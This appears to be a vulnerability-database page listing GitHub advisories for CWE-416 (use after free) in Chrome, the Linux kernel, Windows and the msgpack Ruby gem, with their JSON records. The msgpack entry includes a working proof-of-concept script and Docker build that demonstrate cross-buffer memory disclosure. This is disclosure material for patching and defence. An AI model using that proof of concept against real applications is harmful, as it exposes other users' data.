Common Weakness Enumeration

CWE-416

Allowed

Use After Free

Abstraction: Variant · Status: Stable

API response cwe.mitre.org

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

11090 vulnerabilities reference this CWE, most recent first.

GHSA-4MHW-C8PV-2JQQ

Vulnerability from github – Published: 2022-05-17 00:57 – Updated: 2022-05-17 00:57
VLAI
Details

Use-after-free vulnerability in Google Chrome before 23.0.1271.64 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to video layout.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-5121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-11-07T11:43:00Z",
    "severity": "HIGH"
  },
  "details": "Use-after-free vulnerability in Google Chrome before 23.0.1271.64 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to video layout.",
  "id": "GHSA-4mhw-c8pv-2jqq",
  "modified": "2022-05-17T00:57:41Z",
  "published": "2022-05-17T00:57:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5121"
    },
    {
      "type": "WEB",
      "url": "https://code.google.com/p/chromium/issues/detail?id=154055"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/79868"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A15957"
    },
    {
      "type": "WEB",
      "url": "http://googlechromereleases.blogspot.com/2012/11/stable-channel-release-and-beta-channel.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/87073"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/56413"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4MJV-2463-X3F5

Vulnerability from github – Published: 2026-09-02 00:31 – Updated: 2026-09-02 12:31
VLAI
Details

Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-84347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T00:18:28Z",
    "severity": "HIGH"
  },
  "details": "Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-4mjv-2463-x3f5",
  "modified": "2026-09-02T12:31:24Z",
  "published": "2026-09-02T00:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84347"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/501679156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MM4-RVX3-H58H

Vulnerability from github – Published: 2024-09-27 15:30 – Updated: 2025-11-04 00:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

mptcp: pm: Fix uaf in __timer_delete_sync

There are two paths to access mptcp_pm_del_add_timer, result in a race condition:

 CPU1               CPU2
 ====                               ====
 net_rx_action
 napi_poll                          netlink_sendmsg
 __napi_poll                        netlink_unicast
 process_backlog                    netlink_unicast_kernel
 __netif_receive_skb                genl_rcv
 __netif_receive_skb_one_core       netlink_rcv_skb
 NF_HOOK                            genl_rcv_msg
 ip_local_deliver_finish            genl_family_rcv_msg
 ip_protocol_deliver_rcu            genl_family_rcv_msg_doit
 tcp_v4_rcv                         mptcp_pm_nl_flush_addrs_doit
 tcp_v4_do_rcv                      mptcp_nl_remove_addrs_list
 tcp_rcv_established                mptcp_pm_remove_addrs_and_subflows
 tcp_data_queue                     remove_anno_list_by_saddr
 mptcp_incoming_options             mptcp_pm_del_add_timer
 mptcp_pm_del_add_timer             kfree(entry)

In remove_anno_list_by_saddr(running on CPU2), after leaving the critical zone protected by "pm.lock", the entry will be released, which leads to the occurrence of uaf in the mptcp_pm_del_add_timer(running on CPU1).

Keeping a reference to add_timer inside the lock, and calling sk_stop_timer_sync() with this reference, instead of "entry->add_timer".

Move list_del(&entry->list) to mptcp_pm_del_add_timer and inside the pm lock, do not directly access any members of the entry outside the pm lock, which can avoid similar "entry->x" uaf.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-46858"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-27T13:15:17Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: pm: Fix uaf in __timer_delete_sync\n\nThere are two paths to access mptcp_pm_del_add_timer, result in a race\ncondition:\n\n     CPU1\t\t\t\tCPU2\n     ====                               ====\n     net_rx_action\n     napi_poll                          netlink_sendmsg\n     __napi_poll                        netlink_unicast\n     process_backlog                    netlink_unicast_kernel\n     __netif_receive_skb                genl_rcv\n     __netif_receive_skb_one_core       netlink_rcv_skb\n     NF_HOOK                            genl_rcv_msg\n     ip_local_deliver_finish            genl_family_rcv_msg\n     ip_protocol_deliver_rcu            genl_family_rcv_msg_doit\n     tcp_v4_rcv                         mptcp_pm_nl_flush_addrs_doit\n     tcp_v4_do_rcv                      mptcp_nl_remove_addrs_list\n     tcp_rcv_established                mptcp_pm_remove_addrs_and_subflows\n     tcp_data_queue                     remove_anno_list_by_saddr\n     mptcp_incoming_options             mptcp_pm_del_add_timer\n     mptcp_pm_del_add_timer             kfree(entry)\n\nIn remove_anno_list_by_saddr(running on CPU2), after leaving the critical\nzone protected by \"pm.lock\", the entry will be released, which leads to the\noccurrence of uaf in the mptcp_pm_del_add_timer(running on CPU1).\n\nKeeping a reference to add_timer inside the lock, and calling\nsk_stop_timer_sync() with this reference, instead of \"entry-\u003eadd_timer\".\n\nMove list_del(\u0026entry-\u003elist) to mptcp_pm_del_add_timer and inside the pm lock,\ndo not directly access any members of the entry outside the pm lock, which\ncan avoid similar \"entry-\u003ex\" uaf.",
  "id": "GHSA-4mm4-rvx3-h58h",
  "modified": "2025-11-04T00:31:32Z",
  "published": "2024-09-27T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46858"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0e7814b028cd50b3ff79659d23dfa9da6a1e75e1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/12134a652b0a10064844ea235173e70246eba6dc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3554482f4691571fc4b5490c17ae26896e62171c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6452b162549c7f9ef54655d3fb9977b9192e6e5b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/67409b358500c71632116356a0b065f112d7b707"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b4cd80b0338945a94972ac3ed54f8338d2da2076"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MM9-H7GJ-362G

Vulnerability from github – Published: 2026-07-24 18:31 – Updated: 2026-07-27 06:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

pwrseq: core: fix use-after-free in pwrseq_debugfs_seq_next()

pwrseq_debugfs_seq_next() declares 'next' with __free(put_device), which causes put_device() to be called on the returned pointer when the variable goes out of scope. This results in a use-after-free since the seq_file framework receives a pointer whose reference has already been dropped.

Simply removing __free(put_device) would fix the UAF but would leak the reference acquired by bus_find_next_device(), as stop() only calls up_read(&pwrseq_sem) and never releases the device reference.

Fix this by making the reference counting consistent across all seq_file callbacks, matching the standard pattern used by PCI and SCSI:

  • start(): use get_device() so it returns a referenced pointer.
  • next(): explicitly put_device(curr) to release the previous device's reference (no NULL check needed - the seq_file framework only calls next() while the previous return was non-NULL).
  • stop(): put_device(data) to release the last iterated device's reference, with a NULL guard since stop() may be called with NULL when start() returned NULL or next() reached end-of-sequence.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-64251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T16:16:54Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\npwrseq: core: fix use-after-free in pwrseq_debugfs_seq_next()\n\npwrseq_debugfs_seq_next() declares \u0027next\u0027 with __free(put_device),\nwhich causes put_device() to be called on the returned pointer when\nthe variable goes out of scope.  This results in a use-after-free\nsince the seq_file framework receives a pointer whose reference has\nalready been dropped.\n\nSimply removing __free(put_device) would fix the UAF but would leak\nthe reference acquired by bus_find_next_device(), as stop() only\ncalls up_read(\u0026pwrseq_sem) and never releases the device reference.\n\nFix this by making the reference counting consistent across all\nseq_file callbacks, matching the standard pattern used by PCI and\nSCSI:\n\n- start(): use get_device() so it returns a referenced pointer.\n- next(): explicitly put_device(curr) to release the previous\n  device\u0027s reference (no NULL check needed - the seq_file framework\n  only calls next() while the previous return was non-NULL).\n- stop(): put_device(data) to release the last iterated device\u0027s\n  reference, with a NULL guard since stop() may be called with NULL\n  when start() returned NULL or next() reached end-of-sequence.",
  "id": "GHSA-4mm9-h7gj-362g",
  "modified": "2026-07-27T06:30:30Z",
  "published": "2026-07-24T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64251"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/257595adf9dac15ae1edd9d07753fbc576a7583d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73569a44fca2992f0ca4a4c0104069741b9873a0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ba0b9f04c7a5f9887b8ce672eaf049502c0548ec"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e91df6d273445c03f5aa302bfe147eda33d45794"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MMH-H9HR-3PWJ

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

Windows Defender Credential Guard Elevation of Privilege Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-26237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:44Z",
    "severity": "HIGH"
  },
  "details": "Windows Defender Credential Guard Elevation of Privilege Vulnerability",
  "id": "GHSA-4mmh-h9hr-3pwj",
  "modified": "2024-04-09T18:30:26Z",
  "published": "2024-04-09T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26237"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26237"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MP6-2R26-5PW4

Vulnerability from github – Published: 2026-06-24 21:30 – Updated: 2026-06-24 21:30
VLAI
Details

Use after free in FileSystem in Google Chrome prior to 149.0.7827.197 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-24T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "Use after free in FileSystem in Google Chrome prior to 149.0.7827.197 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-4mp6-2r26-5pw4",
  "modified": "2026-06-24T21:30:43Z",
  "published": "2026-06-24T21:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13027"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0482630350.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/520543781"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MQ7-7Q99-XHQ3

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-03-27 21:31
VLAI
Details

Use after free in Mailslot File System allows an authorized attacker to elevate privileges locally.

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-21253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "Use after free in Mailslot File System allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-4mq7-7q99-xhq3",
  "modified": "2026-03-27T21:31:32Z",
  "published": "2026-02-10T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21253"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-21253-detection-script-elevation-of-privilege-vulnerability-in-mailslot-file-system"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/cve-2026-21253-mitigation-script-elevation-of-privilege-vulnerability-in-mailslot-file-system"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MQJ-P59H-V7C8

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-06 06:30
VLAI
Details

Use after free in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted video file. (Chromium security severity: Medium)

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:20Z",
    "severity": "HIGH"
  },
  "details": "Use after free in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted video file. (Chromium security severity: Medium)",
  "id": "GHSA-4mqj-p59h-v7c8",
  "modified": "2026-06-06T06:30:29Z",
  "published": "2026-06-05T00:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11144"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/501676175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MRV-5P47-P938

Vulnerability from github – Published: 2026-07-30 16:33 – Updated: 2026-07-30 16:33
VLAI
Summary
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
Details

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Severity
2.1 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "msgpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:33:12Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer\u0027s rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer\u0027s bytes \u2014 a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` \u2192 `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` \u2192 `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer\u0027s first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool \u2192 the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c\u0027RUBY\u0027\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write(\u0027M\u0027 * 1000); b1.write(\u0027A\u0027 * 200); b1.write(\u0027N\u0027 * 1000)\nb1.clear\nb1.write(\u0027C\u0027 * 128)\nsecret = (\u0027s\u0027 * 200) + (\u0027ABCD\u0027 * 32) + (\u0027t\u0027 * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs \u0027b1_first64:\u0027 + leaked.byteslice(0, 64)\nputs \u0027b2_donor64:\u0027 + donor.byteslice(200, 64)\nputs \u0027leaked_is_C:\u0027 + (leaked == \u0027C\u0027 * 128).to_s\nputs \u0027cross_buffer_match:\u0027 + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c\u0027DOCKER\u0027\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n    cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags=\u0027-O0 -g -fsanitize=address -fno-omit-frame-pointer\u0027 --with-ldflags=\u0027-fsanitize=address\u0027 \u0026\u0026 \\\n    make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c \u0027export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb\u0027\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another\u0027s memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low\u2013Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
  "id": "GHSA-4mrv-5p47-p938",
  "modified": "2026-07-30T16:33:12Z",
  "published": "2026-07-30T16:33:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-ruby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
}

GHSA-4MX7-H455-MWXV

Vulnerability from github – Published: 2025-02-27 18:31 – Updated: 2025-02-27 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

jffs2: fix use-after-free in jffs2_clear_xattr_subsystem

When we mount a jffs2 image, assume that the first few blocks of the image are normal and contain at least one xattr-related inode, but the next block is abnormal. As a result, an error is returned in jffs2_scan_eraseblock(). jffs2_clear_xattr_subsystem() is then called in jffs2_build_filesystem() and then again in jffs2_do_fill_super().

Finally we can observe the following report: ================================================================== BUG: KASAN: use-after-free in jffs2_clear_xattr_subsystem+0x95/0x6ac Read of size 8 at addr ffff8881243384e0 by task mount/719

Call Trace: dump_stack+0x115/0x16b jffs2_clear_xattr_subsystem+0x95/0x6ac jffs2_do_fill_super+0x84f/0xc30 jffs2_fill_super+0x2ea/0x4c0 mtd_get_sb+0x254/0x400 mtd_get_sb_by_nr+0x4f/0xd0 get_tree_mtd+0x498/0x840 jffs2_get_tree+0x25/0x30 vfs_get_tree+0x8d/0x2e0 path_mount+0x50f/0x1e50 do_mount+0x107/0x130 __se_sys_mount+0x1c5/0x2f0 __x64_sys_mount+0xc7/0x160 do_syscall_64+0x45/0x70 entry_SYSCALL_64_after_hwframe+0x44/0xa9

Allocated by task 719: kasan_save_stack+0x23/0x60 __kasan_kmalloc.constprop.0+0x10b/0x120 kasan_slab_alloc+0x12/0x20 kmem_cache_alloc+0x1c0/0x870 jffs2_alloc_xattr_ref+0x2f/0xa0 jffs2_scan_medium.cold+0x3713/0x4794 jffs2_do_mount_fs.cold+0xa7/0x2253 jffs2_do_fill_super+0x383/0xc30 jffs2_fill_super+0x2ea/0x4c0 [...]

Freed by task 719: kmem_cache_free+0xcc/0x7b0 jffs2_free_xattr_ref+0x78/0x98 jffs2_clear_xattr_subsystem+0xa1/0x6ac jffs2_do_mount_fs.cold+0x5e6/0x2253 jffs2_do_fill_super+0x383/0xc30 jffs2_fill_super+0x2ea/0x4c0 [...]

The buggy address belongs to the object at ffff8881243384b8 which belongs to the cache jffs2_xattr_ref of size 48 The buggy address is located 40 bytes inside of 48-byte region [ffff8881243384b8, ffff8881243384e8) [...] ==================================================================

The triggering of the BUG is shown in the following stack:

